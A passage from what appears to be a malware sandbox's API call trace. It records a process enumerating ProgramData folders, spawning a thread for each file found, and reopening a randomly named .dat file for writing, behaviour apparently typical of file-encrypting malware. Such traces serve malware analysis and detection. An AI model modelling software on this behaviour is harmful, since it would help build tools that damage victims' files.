dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd88 [0092.266] WriteFile (in: hFile=0xd88, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1df3f810, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1df3f810*=0xba9, lpOverlapped=0x0) returned 1 [0092.267] CloseHandle (hObject=0xd88) returned 1 [0092.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 Thread: id = 455 os_tid = 0x340 [0091.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86a90 [0091.405] wcscpy (in: _Dest=0x1cd86a90, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0091.405] wcscat (in: _Dest=0x1cd86a90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0091.405] wcscat (in: _Dest=0x1cd86a90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\*" [0091.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce593b0 [0091.405] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86970 [0091.405] wcscmp (_String1=".", _String2=".") returned 0 [0091.405] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.405] wcscmp (_String1="..", _String2=".") returned 1 [0091.405] wcscmp (_String1="..", _String2="..") returned 0 [0091.405] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0091.405] wcscmp (_String1="Applications", _String2=".") returned 1 [0091.405] wcscmp (_String1="Applications", _String2="..") returned 1 [0091.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a33b0 [0091.405] wcscpy (in: _Dest=0x1b7a33b0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0091.405] wcscat (in: _Dest=0x1b7a33b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0091.405] wcscat (in: _Dest=0x1b7a33b0, _Source="Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" [0096.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a33b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0096.836] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0096.836] wcscmp (_String1="Temp", _String2=".") returned 1 [0096.836] wcscmp (_String1="Temp", _String2="..") returned 1 [0096.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b8586d0 [0096.836] wcscpy (in: _Dest=0x1b8586d0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0096.836] wcscat (in: _Dest=0x1b8586d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0096.836] wcscat (in: _Dest=0x1b8586d0, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" [0096.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8586d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008 [0096.837] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0096.837] FindClose (in: hFindFile=0x1cd86970 | out: hFindFile=0x1cd86970) returned 1 [0096.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce593b0) returned 1 [0096.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86a90) returned 1 [0096.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86c10) returned 1 Thread: id = 456 os_tid = 0x908 [0091.406] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat")) returned 0x2020 [0091.407] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x20) returned 1 [0091.906] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd20 [0091.907] GetFileSizeEx (in: hFile=0xd20, lpFileSize=0x1fb8f780 | out: lpFileSize=0x1fb8f780*=0) returned 1 [0091.907] FlushFileBuffers (hFile=0xd20) returned 1 [0092.089] CloseHandle (hObject=0xd20) returned 1 [0092.089] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x2020) returned 1 [0092.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 Thread: id = 457 os_tid = 0x8b8 [0091.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4d920 [0091.413] wcscpy (in: _Dest=0x1cf4d920, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0091.413] wcscat (in: _Dest=0x1cf4d920, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0091.413] wcscat (in: _Dest=0x1cf4d920, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*" [0091.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0091.413] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd868b0 [0091.415] wcscmp (_String1=".", _String2=".") returned 0 [0091.415] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.415] wcscmp (_String1="..", _String2=".") returned 1 [0091.415] wcscmp (_String1="..", _String2="..") returned 0 [0091.415] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0091.415] wcscmp (_String1="usertile10.bmp", _String2=".") returned 1 [0091.415] wcscmp (_String1="usertile10.bmp", _String2="..") returned 1 [0091.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11130 [0091.415] wcscpy (in: _Dest=0x1ce11130, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0091.415] wcscat (in: _Dest=0x1ce11130, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0091.415] wcscat (in: _Dest=0x1ce11130, _Source="usertile10.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" [0097.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0097.249] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0097.249] wcscmp (_String1="usertile11.bmp", _String2=".") returned 1 [0097.249] wcscmp (_String1="usertile11.bmp", _String2="..") returned 1 [0097.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5a70 [0097.250] wcscpy (in: _Dest=0x1b7a5a70, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.250] wcscat (in: _Dest=0x1b7a5a70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.250] wcscat (in: _Dest=0x1b7a5a70, _Source="usertile11.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" [0097.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264 [0097.251] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0097.251] wcscmp (_String1="usertile12.bmp", _String2=".") returned 1 [0097.251] wcscmp (_String1="usertile12.bmp", _String2="..") returned 1 [0097.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5700 [0097.251] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.251] wcscat (in: _Dest=0x1b7a5700, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.251] wcscat (in: _Dest=0x1b7a5700, _Source="usertile12.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" [0097.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0097.252] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0097.252] wcscmp (_String1="usertile13.bmp", _String2=".") returned 1 [0097.252] wcscmp (_String1="usertile13.bmp", _String2="..") returned 1 [0097.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11290 [0097.252] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.252] wcscat (in: _Dest=0x1ce11290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.252] wcscat (in: _Dest=0x1ce11290, _Source="usertile13.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" [0097.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0097.253] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0097.253] wcscmp (_String1="usertile14.bmp", _String2=".") returned 1 [0097.253] wcscmp (_String1="usertile14.bmp", _String2="..") returned 1 [0097.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce111e0 [0097.253] wcscpy (in: _Dest=0x1ce111e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.253] wcscat (in: _Dest=0x1ce111e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.253] wcscat (in: _Dest=0x1ce111e0, _Source="usertile14.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" [0097.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce111e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270 [0097.254] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0097.254] wcscmp (_String1="usertile15.bmp", _String2=".") returned 1 [0097.254] wcscmp (_String1="usertile15.bmp", _String2="..") returned 1 [0097.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11760 [0097.254] wcscpy (in: _Dest=0x1ce11760, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.254] wcscat (in: _Dest=0x1ce11760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.254] wcscat (in: _Dest=0x1ce11760, _Source="usertile15.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" [0097.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0097.255] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0097.255] wcscmp (_String1="usertile16.bmp", _String2=".") returned 1 [0097.255] wcscmp (_String1="usertile16.bmp", _String2="..") returned 1 [0097.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11810 [0097.255] wcscpy (in: _Dest=0x1ce11810, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.255] wcscat (in: _Dest=0x1ce11810, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.255] wcscat (in: _Dest=0x1ce11810, _Source="usertile16.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" [0097.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0097.256] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0097.256] wcscmp (_String1="usertile17.bmp", _String2=".") returned 1 [0097.256] wcscmp (_String1="usertile17.bmp", _String2="..") returned 1 [0097.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce118c0 [0097.256] wcscpy (in: _Dest=0x1ce118c0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.256] wcscat (in: _Dest=0x1ce118c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.256] wcscat (in: _Dest=0x1ce118c0, _Source="usertile17.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" [0097.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce118c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0097.257] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0097.257] wcscmp (_String1="usertile18.bmp", _String2=".") returned 1 [0097.257] wcscmp (_String1="usertile18.bmp", _String2="..") returned 1 [0097.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11970 [0097.257] wcscpy (in: _Dest=0x1ce11970, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.257] wcscat (in: _Dest=0x1ce11970, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.257] wcscat (in: _Dest=0x1ce11970, _Source="usertile18.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" [0097.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0097.258] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0097.258] wcscmp (_String1="usertile19.bmp", _String2=".") returned 1 [0097.258] wcscmp (_String1="usertile19.bmp", 